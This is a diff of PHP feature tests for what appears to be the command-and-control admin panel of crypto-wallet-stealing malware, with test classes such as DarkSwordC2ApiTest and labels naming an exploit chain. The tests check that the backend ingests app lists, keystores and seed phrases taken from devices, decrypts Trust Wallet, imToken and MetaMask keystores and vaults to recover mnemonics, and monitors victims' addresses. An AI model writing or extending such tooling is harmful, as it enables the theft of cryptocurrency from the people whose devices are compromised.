$this->assertGreaterThanOrEqual(1, $rows->count());
|
$this->assertGreaterThanOrEqual(1, $rows->count());
|
||||||
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
||||||
|
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
|
||||||
|
$this->assertTrue($rows->contains(fn ($row) => $row->kind() === 'web3.keystore'));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -654,14 +682,7 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'source' => 'Trust Wallet',
|
'source' => 'Trust Wallet',
|
||||||
'decrypted' => 0,
|
'decrypted' => 0,
|
||||||
'raw_json' => [
|
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||||
'kind' => 'sandbox',
|
|
||||||
'sandbox' => [
|
|
||||||
'trust_wallet' => [
|
|
||||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
|
||||||
],
|
|
||||||
],
|
|
||||||
],
|
|
||||||
]);
|
]);
|
||||||
|
|
||||||
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
||||||
@@ -1593,6 +1614,8 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertNotNull($ks);
|
$this->assertNotNull($ks);
|
||||||
// No password → not decrypted, but keystore is stored.
|
// No password → not decrypted, but keystore is stored.
|
||||||
$this->assertSame(0, (int) $ks->decrypted);
|
$this->assertSame(0, (int) $ks->decrypted);
|
||||||
|
$this->assertSame(1, (int) $ks->needs_password);
|
||||||
|
$this->assertSame('标准 Keystore', $ks->kindLabel());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -1682,6 +1705,7 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
// Mnemonic should be recovered by walkForMnemonics.
|
// Mnemonic should be recovered by walkForMnemonics.
|
||||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
|
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
|
||||||
|
$this->assertSame('Uniswap', $memo->source);
|
||||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||||
|
|
||||||
// Address should be extracted from the account field.
|
// Address should be extracted from the account field.
|
||||||
|
|||||||
@@ -18,8 +18,10 @@ use App\Models\User;
|
|||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use Illuminate\Support\Facades\Storage;
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
use Mockery;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
|
|
||||||
@@ -64,6 +66,7 @@ class DeviceDeleteTest extends TestCase
|
|||||||
'address' => 'Txxx',
|
'address' => 'Txxx',
|
||||||
'source' => 'imToken',
|
'source' => 'imToken',
|
||||||
'chain_type' => 'TRX',
|
'chain_type' => 'TRX',
|
||||||
|
'monitor' => 1,
|
||||||
]);
|
]);
|
||||||
WalletMnemonic::query()->create([
|
WalletMnemonic::query()->create([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
@@ -135,6 +138,10 @@ class DeviceDeleteTest extends TestCase
|
|||||||
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
|
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
$tokenview = Mockery::mock(TokenviewMonitorService::class);
|
||||||
|
$tokenview->shouldReceive('syncMonitor')->never();
|
||||||
|
$this->app->instance(TokenviewMonitorService::class, $tokenview);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->deleteJson(route('admin.devices.destroy', $device))
|
->deleteJson(route('admin.devices.destroy', $device))
|
||||||
->assertOk()
|
->assertOk()
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ namespace Tests\Feature;
|
|||||||
|
|
||||||
use App\Models\Admin;
|
use App\Models\Admin;
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
|
use App\Models\DeviceApp;
|
||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use Illuminate\Support\Facades\Http;
|
use Illuminate\Support\Facades\Http;
|
||||||
@@ -46,6 +47,38 @@ class DeviceWalletFlagTest extends TestCase
|
|||||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
|
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function applist_skips_apple_prefix_and_wildcard_bundles(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-app-skip-noise']);
|
||||||
|
|
||||||
|
app(IngestService::class)->ingestInstalledApps($device, [
|
||||||
|
'al' => [
|
||||||
|
['a' => 'Spotlight', 'b' => 'apple.Spotlight'],
|
||||||
|
['a' => '*', 'b' => '*'],
|
||||||
|
['a' => 'Octagon', 'b' => 'apple.security.octagon'],
|
||||||
|
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
|
||||||
|
['a' => 'MetaMask', 'b' => 'io.metamask'],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.Spotlight')->exists()
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.security.octagon')->exists()
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->exists()
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->exists()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
|
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -65,9 +65,8 @@ class KeystoreAdminTest extends TestCase
|
|||||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||||
->assertJsonPath('data.0.decrypted', 1)
|
->assertJsonPath('data.0.decrypted', 1)
|
||||||
->assertJsonPath('data.0.kind', '钥匙串')
|
->assertJsonPath('data.0.kind', '钥匙串')
|
||||||
->assertJsonPath('data.0.item_count', 1)
|
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01')
|
||||||
->assertJsonPath('data.0.summary', 'trust.account')
|
->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA);
|
||||||
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
|
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->getJson(route('admin.keystores.items', $row))
|
->getJson(route('admin.keystores.items', $row))
|
||||||
@@ -95,9 +94,7 @@ class KeystoreAdminTest extends TestCase
|
|||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
->assertJsonPath('data.0.source', 'Trust Wallet');
|
||||||
->assertJsonPath('data.0.item_count', 1)
|
|
||||||
->assertJsonPath('data.0.summary', 'trust.account');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -259,4 +256,259 @@ class KeystoreAdminTest extends TestCase
|
|||||||
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
||||||
$this->assertGreaterThan(0, $resp->json('data.passwords'));
|
$this->assertGreaterThan(0, $resp->json('data.passwords'));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_filters_keystores_that_need_password(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'DEVNEEDSPW01',
|
||||||
|
'channel_id' => 'ch-ks-pw',
|
||||||
|
]);
|
||||||
|
WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
||||||
|
]);
|
||||||
|
WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data', ['needs_password' => '1']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.source', 'imToken')
|
||||||
|
->assertJsonPath('data.0.needs_password', 1);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.needs_password', 1);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.keystores.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('需要密码');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_filters_keystores_by_chain(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$ds = Device::query()->create([
|
||||||
|
'device_id' => 'DEVKSCHAINDS',
|
||||||
|
'chain' => Device::CHAIN_DARKSWORD,
|
||||||
|
]);
|
||||||
|
$app = Device::query()->create([
|
||||||
|
'device_id' => 'DEVKSCHAINAPP',
|
||||||
|
'chain' => Device::CHAIN_APP,
|
||||||
|
]);
|
||||||
|
WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]);
|
||||||
|
WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->get(route('admin.keystores.index'))
|
||||||
|
->assertOk()
|
||||||
|
->assertSee('利用链');
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data', ['chain' => '2']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS')
|
||||||
|
->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP')
|
||||||
|
->assertJsonPath('data.0.chain', Device::CHAIN_APP);
|
||||||
|
|
||||||
|
$legacy = Device::query()->create([
|
||||||
|
'device_id' => 'DEVKSCHAINLEGACY',
|
||||||
|
'chain' => Device::CHAIN_APP,
|
||||||
|
]);
|
||||||
|
WalletKeystore::query()->create([
|
||||||
|
'device_id' => $legacy->id,
|
||||||
|
'source' => 'Uniswap',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_password_decrypt_writes_mnemonic(): void
|
||||||
|
{
|
||||||
|
Http::fake();
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$password = 'wallet-pass-1';
|
||||||
|
$utc = EthKeystore::encrypt($phrase, $password, [
|
||||||
|
'n' => 16,
|
||||||
|
'r' => 8,
|
||||||
|
'p' => 1,
|
||||||
|
'dklen' => 32,
|
||||||
|
'salt' => str_repeat('ab', 32),
|
||||||
|
]);
|
||||||
|
$device = Device::query()->create(['device_id' => 'DEVKSPASS01']);
|
||||||
|
$row = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('data.0.needs_password', 1)
|
||||||
|
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.added', 1)
|
||||||
|
->assertJsonPath('data.decrypted', 1);
|
||||||
|
|
||||||
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($mnemonic);
|
||||||
|
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||||
|
$this->assertSame('imToken', $mnemonic->source);
|
||||||
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function password_decrypt_rejects_wrong_and_empty_password(): void
|
||||||
|
{
|
||||||
|
Http::fake();
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$utc = EthKeystore::encrypt($phrase, 'correct-pass', [
|
||||||
|
'n' => 16,
|
||||||
|
'r' => 8,
|
||||||
|
'p' => 1,
|
||||||
|
'dklen' => 32,
|
||||||
|
'salt' => str_repeat('cd', 32),
|
||||||
|
]);
|
||||||
|
$device = Device::query()->create(['device_id' => 'DEVKSPASS02']);
|
||||||
|
$row = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
||||||
|
]);
|
||||||
|
$plain = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => ''])
|
||||||
|
->assertStatus(422)
|
||||||
|
->assertJsonPath('code', 1);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass'])
|
||||||
|
->assertStatus(400)
|
||||||
|
->assertJsonPath('code', 1)
|
||||||
|
->assertJsonPath('msg', '密码不正确,未能解开助记词');
|
||||||
|
|
||||||
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x'])
|
||||||
|
->assertStatus(400)
|
||||||
|
->assertJsonPath('msg', '该钥匙串未标记为需要密码');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_password_decrypt_metamask_vault(): void
|
||||||
|
{
|
||||||
|
Http::fake();
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$password = 'woshini@88';
|
||||||
|
$device = Device::query()->create(['device_id' => 'DEVKSPASSMM']);
|
||||||
|
$row = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'MetaMask',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => $this->makeMetamaskVault($phrase, $password),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.keystores.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('data.0.needs_password', 1)
|
||||||
|
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.added', 1)
|
||||||
|
->assertJsonPath('data.decrypted', 1)
|
||||||
|
->assertJsonPath('data.vault', 1);
|
||||||
|
|
||||||
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($mnemonic);
|
||||||
|
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||||
|
$this->assertSame('MetaMask', $mnemonic->source);
|
||||||
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function makeMetamaskVault(string $phrase, string $password): array
|
||||||
|
{
|
||||||
|
$inner = json_encode([[
|
||||||
|
'type' => 'HD Key Tree',
|
||||||
|
'data' => [
|
||||||
|
'mnemonic' => array_map('ord', str_split($phrase)),
|
||||||
|
'numberOfAccounts' => 1,
|
||||||
|
'hdPath' => "m/44'/60'/0'/0",
|
||||||
|
],
|
||||||
|
]], JSON_UNESCAPED_SLASHES);
|
||||||
|
$saltB64 = base64_encode(random_bytes(32));
|
||||||
|
$iv = random_bytes(16);
|
||||||
|
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
||||||
|
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'kind' => 'metamask.vault',
|
||||||
|
'cipher' => base64_encode((string) $cipher),
|
||||||
|
'iv' => bin2hex($iv),
|
||||||
|
'salt' => $saltB64,
|
||||||
|
'lib' => 'quick-crypto',
|
||||||
|
'keyMetadata' => [
|
||||||
|
'algorithm' => 'PBKDF2',
|
||||||
|
'params' => ['iterations' => 5000],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,8 @@ class DsTrustAddressIngestTest extends TestCase
|
|||||||
['address' => 'TSecondTronAddress111111111111111111', 'coin' => 195],
|
['address' => 'TSecondTronAddress111111111111111111', 'coin' => 195],
|
||||||
['address' => 'bc1qthirdbtcshouldskipxxxxxxxxxxxxxxxx', 'coin' => 0],
|
['address' => 'bc1qthirdbtcshouldskipxxxxxxxxxxxxxxxx', 'coin' => 0],
|
||||||
['address' => 'GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D', 'coin' => 501],
|
['address' => 'GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D', 'coin' => 501],
|
||||||
|
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 20000714],
|
||||||
|
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 10042221],
|
||||||
],
|
],
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -43,7 +45,10 @@ class DsTrustAddressIngestTest extends TestCase
|
|||||||
'TFirstTronAddress1111111111111111111',
|
'TFirstTronAddress1111111111111111111',
|
||||||
'TSecondTronAddress111111111111111111',
|
'TSecondTronAddress111111111111111111',
|
||||||
], $byChain['TRON'] ?? []);
|
], $byChain['TRON'] ?? []);
|
||||||
$this->assertCount(6, $rows);
|
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['BSC'] ?? []);
|
||||||
|
$this->assertSame(['GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D'], $byChain['SOLANA'] ?? []);
|
||||||
|
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['ARBITRUM'] ?? []);
|
||||||
|
$this->assertCount(9, $rows);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
@@ -84,4 +84,53 @@ class WalletKeystoreTest extends TestCase
|
|||||||
$this->assertSame('钥匙串', $row->kindLabel());
|
$this->assertSame('钥匙串', $row->kindLabel());
|
||||||
$this->assertNotSame('', $row->summary());
|
$this->assertNotSame('', $row->summary());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function list_stats_match_listed_items_without_hashing_blobs(): void
|
||||||
|
{
|
||||||
|
$json = [
|
||||||
|
'kind' => 'keychain.wallets',
|
||||||
|
'wallets' => [
|
||||||
|
'trustwallet' => [
|
||||||
|
'items' => [
|
||||||
|
['account' => 'trust.account', 'dataHex' => bin2hex('777350')],
|
||||||
|
['account' => 'other', 'dataHex' => '00'],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
$stats = WalletKeystore::computeListStatsFromJson($json);
|
||||||
|
$this->assertSame(2, $stats['item_count']);
|
||||||
|
$this->assertSame('钥匙串', $stats['kind']);
|
||||||
|
$this->assertSame('trust.account · other', $stats['summary']);
|
||||||
|
$this->assertFalse($stats['has_web3_keystore']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function nested_sandbox_utc_counts_as_web3_keystore(): void
|
||||||
|
{
|
||||||
|
$row = new WalletKeystore([
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'raw_json' => [
|
||||||
|
'kind' => 'sandbox',
|
||||||
|
'sandbox' => [
|
||||||
|
'Trust Wallet' => [
|
||||||
|
'Documents' => [
|
||||||
|
'keystore' => [
|
||||||
|
'UTC--demo' => [
|
||||||
|
'crypto' => [
|
||||||
|
'ciphertext' => 'aa',
|
||||||
|
'mac' => 'bb',
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertTrue($row->hasWeb3Keystore());
|
||||||
|
$this->assertSame('沙盒文件', $row->kindLabel());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,14 +22,16 @@ class WalletSourceTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function supported_chains_exclude_solana_and_ton(): void
|
public function supported_chains_include_sol_and_arb(): void
|
||||||
{
|
{
|
||||||
$this->assertTrue(WalletSource::isSupportedChain('ETHEREUM'));
|
$this->assertTrue(WalletSource::isSupportedChain('ETHEREUM'));
|
||||||
$this->assertTrue(WalletSource::isSupportedChain('TRON'));
|
$this->assertTrue(WalletSource::isSupportedChain('TRON'));
|
||||||
$this->assertTrue(WalletSource::isSupportedChain('BITCOIN'));
|
$this->assertTrue(WalletSource::isSupportedChain('BITCOIN'));
|
||||||
$this->assertTrue(WalletSource::isSupportedChain('BNB'));
|
$this->assertTrue(WalletSource::isSupportedChain('BNB'));
|
||||||
$this->assertFalse(WalletSource::isSupportedChain('SOLANA'));
|
$this->assertTrue(WalletSource::isSupportedChain('SOLANA'));
|
||||||
$this->assertFalse(WalletSource::isSupportedChain('SOL'));
|
$this->assertTrue(WalletSource::isSupportedChain('SOL'));
|
||||||
|
$this->assertTrue(WalletSource::isSupportedChain('ARBITRUM'));
|
||||||
|
$this->assertTrue(WalletSource::isSupportedChain('ARB'));
|
||||||
$this->assertFalse(WalletSource::isSupportedChain('TON'));
|
$this->assertFalse(WalletSource::isSupportedChain('TON'));
|
||||||
$this->assertFalse(WalletSource::isSupportedChain('UNKNOWN'));
|
$this->assertFalse(WalletSource::isSupportedChain('UNKNOWN'));
|
||||||
}
|
}
|
||||||
@@ -51,6 +53,9 @@ class WalletSourceTest extends TestCase
|
|||||||
$this->assertSame('', WalletSource::fromKeystoreHint(''));
|
$this->assertSame('', WalletSource::fromKeystoreHint(''));
|
||||||
$this->assertSame('d', WalletSource::tagForLabel('Trust Wallet'));
|
$this->assertSame('d', WalletSource::tagForLabel('Trust Wallet'));
|
||||||
$this->assertSame('b', WalletSource::tagForLabel('imToken'));
|
$this->assertSame('b', WalletSource::tagForLabel('imToken'));
|
||||||
|
$this->assertSame('k', WalletSource::tagForLabel('Exodus'));
|
||||||
|
$this->assertSame('h', WalletSource::tagForLabel('Uniswap'));
|
||||||
|
$this->assertSame('i', WalletSource::tagForLabel('Phantom'));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
Reference in New Issue
Block a user